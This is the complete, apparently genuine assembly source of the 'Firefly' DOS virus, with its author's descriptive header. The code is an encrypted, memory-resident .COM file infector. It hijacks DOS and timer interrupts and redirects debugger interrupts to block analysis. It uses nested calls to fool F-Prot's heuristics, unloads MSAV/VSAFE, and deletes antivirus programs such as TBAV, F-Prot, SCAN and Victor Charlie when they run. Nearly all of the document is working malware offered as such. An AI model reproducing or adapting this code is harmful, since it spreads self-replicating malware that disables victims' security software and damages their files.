517 lines
19 KiB
Plaintext
517 lines
19 KiB
Plaintext
;FIREFLY virus, by Nikademus.
|
|
;
|
|
;Firefly is an encrypted, memory resident virus which infects
|
|
;.COMfiles on load. It incorporates code from Proto-T,
|
|
;LokJaw and YB-X viruses and, when in memory, attacks a large selection
|
|
;of anti-virus programs as they are executed. Anti-virus programs
|
|
;identified by Firefly's execute/load handler are deleted.
|
|
;Firefly incorporates simple code from previous issues of the newsletter
|
|
;designed to de-install generic VSAFE resident virus activity
|
|
;filters designed for Microsoft by Central Point Software. It
|
|
;contains instructions - specifically a segment of pseudo-nested
|
|
;loops - which spoof F-Protect's expert system generic virus
|
|
;identification feature.
|
|
;
|
|
;FIREFLY also includes a visual marker tied to the system timer
|
|
;tick interrupt (1Ch) which slowly cycles the NumLock, CapsLock
|
|
;and ScrollLock LEDs on the keyboard. This produces a noticeable
|
|
;twinkling effect when the virus is active on a machine.
|
|
;
|
|
;Anti-anti-virus measures used by Firefly vary in effectiveness
|
|
;dependent upon how a user employs software. For example, while
|
|
;Firefly is designed to delete the Victor Charlie anti-virus
|
|
;shell, VC.EXE, a user who employs the software packages utilities
|
|
;for generic virus detection singly, will not be interfered with
|
|
;by the virus. Your results may vary, but the virus does effectively
|
|
;delete anti-virus programs while in memory unless steps are taken
|
|
;beforehand to avoid this.
|
|
;
|
|
;Firefly incorporates minor code armoring techniques designed to thwart
|
|
;trivial debugging.
|
|
|
|
|
|
|
|
.radix 16
|
|
code segment
|
|
model small
|
|
assume cs:code, ds:code, es:code
|
|
|
|
org 100h
|
|
|
|
len equ offset last - start
|
|
vir_len equ len / 16d ; 16 bytes per paragraph
|
|
encryptlength equ (last - begin)/4+1
|
|
|
|
|
|
|
|
start:
|
|
mov bx, offset begin ; The Encryption Head
|
|
mov cx, encryptlength ;
|
|
encryption_loop: ;
|
|
db 81h ; XOR WORD PTR [BX], ????h
|
|
db 37h ;
|
|
encryption_value_1: ;
|
|
dw 0000h ;
|
|
;
|
|
db 81h ; XOR WORD PTR [BX+2], ????h
|
|
db 77h ;
|
|
db 02h ; 2 different random words
|
|
encryption_value_2: ; give 32-bit encryption
|
|
dw 0000h ;
|
|
add bx, 4 ;
|
|
loop encryption_loop ;
|
|
begin:
|
|
jmp virus
|
|
db '[Firefly] By Nikademus $'
|
|
db 'Greetings to Urnst Kouch and the CRYPT staff. $'
|
|
virus:
|
|
call bp_fixup ; bp fixup to determine
|
|
bp_fixup: ; locations of data
|
|
pop bp ; with respect to the new
|
|
sub bp, offset bp_fixup ; host
|
|
|
|
Is_I_runnin:
|
|
call screw_fprot ; screwing
|
|
call screw_fprot ; heuristic scanning
|
|
call screw_fprot ;
|
|
call screw_fprot ;
|
|
call screw_fprot ;
|
|
call screw_fprot ;
|
|
call screw_fprot ;
|
|
call screw_fprot ;
|
|
call screw_fprot ;
|
|
call screw_fprot ;
|
|
push ds
|
|
push es
|
|
mov ax,2C2Ch ;
|
|
int 21h ; call to see if runnin
|
|
cmp ax, 0FFFh ; am i resident?
|
|
jne cut_hole ;
|
|
fix_victim:
|
|
pop es ; replace victims 3 bytes
|
|
pop ds ;
|
|
mov di,050h ; stops one of SCAN's
|
|
add di,0B0h ; generic scan attempts
|
|
lea si, ds:[vict_head + bp] ; (scan only worked on
|
|
mov cx, 03h ; unencrypted copies
|
|
rep movsb ; regardless)
|
|
Bye_Bye:
|
|
mov bx, 100h ; jump to 100h
|
|
jmp bx ; (start of victim)
|
|
cut_hole:
|
|
mov dx, 5945h ; pull CPAV (MSAV)
|
|
mov ax, 64001d ; out of memory
|
|
int 16h ; (This also screws with
|
|
; TBCLEAN ???????)
|
|
|
|
call screw_fprot ; more screwing of
|
|
call screw_fprot ; heuristic scanning
|
|
call screw_fprot ;
|
|
call screw_fprot ;
|
|
call screw_fprot ;
|
|
call screw_fprot ;
|
|
|
|
mov bx,cs ; reduce memory size
|
|
dec bx ;
|
|
mov ds,bx ;
|
|
cmp byte ptr ds:[0000],5a ;
|
|
jne fix_victim ;
|
|
mov bx,ds:[0003] ;
|
|
sub bx, 100h ; # of 16byte paragraphs
|
|
mov ds:0003,bx ; to grab (4k)
|
|
Zopy_me:
|
|
xchg bx, ax ; copy self to the new
|
|
mov bx, es ; 'unused' part of memory
|
|
add bx, ax ;
|
|
mov es, bx ;
|
|
mov cx,len ;
|
|
mov ax,ds ;
|
|
inc ax ;
|
|
mov ds,ax ;
|
|
lea si,ds:[offset start+bp] ;
|
|
lea di,es:0100 ;
|
|
rep movsb ;
|
|
|
|
Hookroutines: ; interrupt manipulation (Happy!, Happy!)
|
|
xor ax, ax ; (Joy!, Joy!)
|
|
mov ds, ax
|
|
push ds ; push 0000h
|
|
lds ax, ds:[1Ch*4]
|
|
mov word ptr es:old_1Ch, ax ; save 1C
|
|
mov word ptr es:old_1Ch+2, ds
|
|
pop ds
|
|
push ds
|
|
lds ax, ds:[21h*4] ; get int 21h
|
|
mov word ptr es:old_21h, ax ; save 21
|
|
mov word ptr es:old_21h+2, ds
|
|
mov bx, ds ; bx = ds
|
|
pop ds
|
|
mov word ptr ds:[1h*4], ax ; put int 21h into 1 and 3
|
|
mov word ptr ds:[1h*4+2], bx ; this should screw
|
|
mov word ptr ds:[3h*4], ax ; most debuggers
|
|
mov word ptr ds:[3h*4+2], bx
|
|
mov word ptr ds:[21h*4], offset Firefly ; put self in 21
|
|
mov ds:[21h*4+2], es ;
|
|
mov ds:[1Ch*4+2], es
|
|
mov word ptr ds:[1Ch*4], offset Lights ; hook 1C
|
|
jmp fix_victim
|
|
Lights: ; keyboard lights changer...
|
|
; found in NIKTRKS1.ZIP
|
|
push ax ; save these
|
|
push bx ;
|
|
push cx ;
|
|
push dx ;
|
|
push si ;
|
|
push di ;
|
|
push ds ;
|
|
push es ;
|
|
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
cmp [click], 63d ; after 63 clicks
|
|
je one
|
|
cmp [click], 126d ; after 126 clicks
|
|
je two
|
|
cmp [click], 189d ; after 189 clicks
|
|
je three
|
|
cmp [click], 0ffh ; have we counted to 255?
|
|
je clear
|
|
inc [click] ; increase click count
|
|
jmp endme
|
|
clear: mov [click], 00h ; clear click count
|
|
mov ax, 40h
|
|
mov ds, ax
|
|
mov bx, 17h ; ds:bx = location o' flags
|
|
and byte ptr [bx],0 ; clear keyboard flag(s)
|
|
jmp endme
|
|
one: inc [click]
|
|
mov ax, 40h
|
|
mov ds, ax
|
|
mov bx, 17h
|
|
mov byte ptr [bx],20h ; set numlock flag
|
|
jmp endme
|
|
two: inc [click]
|
|
mov ax, 40h
|
|
mov ds, ax
|
|
mov bx, 17h
|
|
mov byte ptr [bx],40h ; set caps lock flag
|
|
jmp endme
|
|
three: inc [click]
|
|
mov ax, 40h
|
|
mov ds, ax
|
|
mov bx, 17h
|
|
mov byte ptr [bx],10h ; set scroll lock flag
|
|
endme:
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
jmp dword ptr cs:[old_1Ch] ; Go to old int 1Ch
|
|
db 'Psalm 69'
|
|
screw_fprot:
|
|
jmp $ + 2 ; Nested calls to confuse
|
|
call screw2 ; f-protect's heuristic
|
|
call screw2 ; analysis
|
|
call screw2 ;
|
|
call screw2 ;
|
|
call screw2 ;
|
|
ret ;
|
|
screw2: ;
|
|
jmp $ + 2 ;
|
|
call screw3 ;
|
|
call screw3 ;
|
|
call screw3 ;
|
|
call screw3 ;
|
|
call screw3 ;
|
|
ret ;
|
|
screw3: ;
|
|
jmp $ + 2 ;
|
|
call screw4 ;
|
|
call screw4 ;
|
|
call screw4 ;
|
|
call screw4 ;
|
|
call screw4 ;
|
|
ret ;
|
|
screw4: ;
|
|
jmp $ + 2 ;
|
|
ret ;
|
|
db 'Every day is Halloween'
|
|
Firefly:
|
|
pushf ; Am I checking if
|
|
cmp ax,2c2ch ; I am resident?
|
|
jne My_21h ;
|
|
mov ax,0FFFh ; If so, return
|
|
popf ; 0FFFh in AX
|
|
iret ;
|
|
|
|
My_21h:
|
|
push ax ; save these
|
|
push bx ;
|
|
push cx ;
|
|
push dx ;
|
|
push si ;
|
|
push di ;
|
|
push ds ;
|
|
push es ;
|
|
check_for_proper_calls:
|
|
cmp ah, 4Bh ; executed?
|
|
je chk_com
|
|
cmp ah, 3Dh ; open?
|
|
je chk_com
|
|
cmp ah, 43h ; attribs?
|
|
je chk_com
|
|
cmp ah, 6Ch ; extended open?
|
|
je extended
|
|
|
|
notforme:
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
popf
|
|
jmp dword ptr cs:[old_21h] ; The End
|
|
db 'Happiness in Slavery'
|
|
extended:
|
|
mov dx, si ; now a normal open
|
|
chk_com:
|
|
mov word ptr cs:victim_name,dx
|
|
mov word ptr cs:victim_name+2,ds
|
|
cld
|
|
mov di,dx
|
|
push ds
|
|
pop es
|
|
mov al,'.' ; find the period
|
|
repne scasb ;
|
|
call avtest
|
|
cmp ax, 00ffh ; WAS the program an AV?
|
|
je notforme
|
|
cmp word ptr es:[di],'OC' ; is i a .(CO)M?
|
|
jne notforme
|
|
Grab_24: ; hook interrupt 24
|
|
push ds ; by direct writes to
|
|
push dx ; interrupt vector
|
|
xor ax, ax ; table
|
|
mov ds, ax ;
|
|
mov dx, offset new_24h ;
|
|
mov word ptr ds:[24h*4], dx ;
|
|
mov word ptr ds:[24h*4+2], es ;
|
|
pop dx
|
|
pop ds
|
|
|
|
open_victim:
|
|
push cs
|
|
pop es
|
|
lds dx, cs:victim_name ; get and save attributes
|
|
mov ax, 4300h ;
|
|
int 3h ;
|
|
jc notforme ; error handler
|
|
push cx ;
|
|
push ds ;
|
|
push dx
|
|
mov ax, 4301h ; clear attribs
|
|
xor cx, cx ;
|
|
int 1h ;
|
|
jc notforme
|
|
mov ax,3D02h ; open victim
|
|
lds dx, cs:victim_name ;
|
|
int 3h ;
|
|
jc notforme ; error handler
|
|
push cs ;
|
|
pop ds ;
|
|
xchg ax, bx ; put handle in proper place
|
|
get_date: ; get and save date
|
|
; and time
|
|
mov ax,5700h
|
|
int 3h
|
|
push cx ; save time
|
|
push dx ; save date
|
|
|
|
check_forme:
|
|
mov ah,3fh ; read 1st 3 bytes
|
|
mov cx,03h ;
|
|
mov dx,offset vict_head ;
|
|
int 1h
|
|
|
|
mov ax, 4202h ; point to end
|
|
xor cx, cx ;
|
|
xor dx, dx ;
|
|
int 3h ;
|
|
|
|
mov cx, word ptr [vict_head+1] ; possible jump location
|
|
add cx, last-start+3 ;
|
|
cmp ax, cx ; already infected?
|
|
jz save_date ;
|
|
push ax
|
|
get_random:
|
|
mov ah, 2Ch ; dx and (cx-dx)
|
|
int 3h ; will be to two
|
|
or dx, dx ; encryption values
|
|
jz get_random ;
|
|
write_virus:
|
|
mov word ptr [offset encryption_value_1], dx
|
|
mov word ptr [offset e_value_1], dx
|
|
sub cx, dx
|
|
mov word ptr [offset encryption_value_2], cx
|
|
mov word ptr [offset e_value_2], cx
|
|
pop ax
|
|
mov si, ax ; fix BX offset in head
|
|
add si, ((offset begin-offset start)+100h)
|
|
mov word ptr [offset start+1], si
|
|
|
|
mov si, offset start ; copy virus to buffer
|
|
mov di, offset encryptbuffer ;
|
|
mov cx, last-start ;
|
|
rep movsb ;
|
|
|
|
sub ax, 03h ; construct jump
|
|
mov word ptr [offset new_jump+1], ax ;
|
|
mov dl, 0E9h ;
|
|
mov byte ptr [offset new_jump], dl ;
|
|
Encryptvirus_in_buffer:
|
|
push bx ; encrypt copy
|
|
mov bx, offset ((begin-start)+encryptbuffer) ; in encrypt-
|
|
mov cx, encryptlength ; buffer
|
|
e_loop: ;
|
|
db 81h ; XOR [bx]
|
|
db 37h ;
|
|
e_value_1: ;
|
|
dw 0000h ; scrambler #1
|
|
db 81h ; XOR [bx+2]
|
|
db 77h ;
|
|
db 02h ;
|
|
e_value_2: ;
|
|
dw 0000h ; scrambler #2
|
|
add bx, 4 ;
|
|
loop e_loop ; loop
|
|
|
|
pop bx
|
|
mov ah, 40h ; write virus
|
|
mov cx, last-start ;
|
|
mov dx, offset encryptbuffer ;
|
|
int 1h ;
|
|
|
|
mov ax, 4200h ; point to front
|
|
xor cx, cx ;
|
|
xor dx, dx ;
|
|
int 1h ;
|
|
|
|
mov ah, 40h ; write jump
|
|
mov dx, offset new_jump ;
|
|
mov cx, 03h ;
|
|
int 3h ;
|
|
save_date:
|
|
pop dx ; Date
|
|
pop cx ; Time
|
|
mov ax,5701h ;
|
|
int 1h
|
|
;
|
|
close_file: ;
|
|
mov ah,03Eh ; Close file and restore
|
|
int 3h ; attribs
|
|
mov ax, 4301h ;
|
|
pop dx ;
|
|
pop ds ; This is the end...
|
|
pop cx ; My only friend, The End.
|
|
int 3h ; - Jim Morrison
|
|
jmp notforme ;
|
|
new_24h:
|
|
mov al,3 ; Critical Error (Mis)handler
|
|
iret ;
|
|
db 'The land of Rape and Honey'
|
|
|
|
; This area is the "intelligence" of Firefly
|
|
; It looks for known AV names which it then deletes.
|
|
; So it sort of shuts down the computers "immune system"
|
|
avtest:
|
|
cmp word ptr es:[di-3],'MI' ;Integrity Master
|
|
je AV ;*IM
|
|
|
|
cmp word ptr es:[di-3],'XR' ;*rx
|
|
je AV ;
|
|
|
|
cmp word ptr es:[di-3],'PO' ;*STOP
|
|
jne next1 ;(VIRSTOP)
|
|
cmp word ptr es:[di-5],'TS' ;
|
|
je AV ;
|
|
|
|
next1: cmp word ptr es:[di-3],'VA' ;*AV i.e. cpav
|
|
je AV_Detected ;(TBAV) (MSAV)
|
|
|
|
cmp word ptr es:[di-3],'TO' ;*prot f-prot
|
|
jne next2 ;
|
|
cmp word ptr es:[di-5],'RP' ;
|
|
jne next2 ;
|
|
AV: jmp AV_Detected ; must be equal
|
|
|
|
next2: cmp word ptr es:[di-3],'NA' ;*scan McAffee's
|
|
jne next3 ;(TBSCAN)
|
|
cmp word ptr es:[di-5],'CS' ;
|
|
je AV_Detected ;
|
|
|
|
cmp word ptr es:[di-3],'NA' ;*lean CLEAN..
|
|
jne next3 ; why not eh?
|
|
cmp word ptr es:[di-5],'EL' ;(TBCLEAN)
|
|
je AV_Detected ;
|
|
|
|
next3: cmp word ptr es:[di-3],'CV' ; Victor Charlie
|
|
je AV_Detected ; default *VC
|
|
|
|
cmp word ptr es:[di-3],'KC' ; VCHECK
|
|
jne next4 ; (Victor Charlie)
|
|
cmp word ptr es:[di-5],'EH' ; (TBCHECK) *HECK
|
|
je AV_Detected ;
|
|
next4:
|
|
cmp word ptr es:[di-3],'ME' ; TBMEM
|
|
jne next5 ; *BMEM
|
|
cmp word ptr es:[di-5],'MB' ;
|
|
je AV_Detected ;
|
|
next5:
|
|
cmp word ptr es:[di-3],'XN' ; TBSCANX
|
|
jne next6 ; *CANX
|
|
cmp word ptr es:[di-5],'AC' ;
|
|
je AV_Detected ;
|
|
next6:
|
|
cmp word ptr es:[di-3],'EL' ; TBFILE
|
|
jne next7 ; *FILE
|
|
cmp word ptr es:[di-5],'IF' ;
|
|
je AV_Detected ;
|
|
next7:
|
|
ret
|
|
AV_Detected:
|
|
mov ds, word ptr cs:[victim_name + 2] ; The Victim
|
|
mov dx, word ptr cs:[victim_name]
|
|
mov ax, 4301h ; Clear it's attribs
|
|
mov cx, 00h ;
|
|
int 1h
|
|
mov ah, 41h ; Delete It.
|
|
int 3h ;
|
|
ret ;
|
|
db 'Its Dead Jim'
|
|
|
|
vict_head db 090h, 0cdh, 020h ; 3 bytes of storage
|
|
old_21h dw 00h,00h ; int 21 storage
|
|
old_1Ch dw 00h,00h
|
|
click db 00h
|
|
last:
|
|
|
|
; The heap........ junk not needed in main program
|
|
|
|
victim_name dd ?
|
|
new_jump db 090h, 090h, 090h
|
|
encryptbuffer db (last-start)+1 dup (?)
|
|
code ends
|
|
end start
|
|
|
|
|
|
|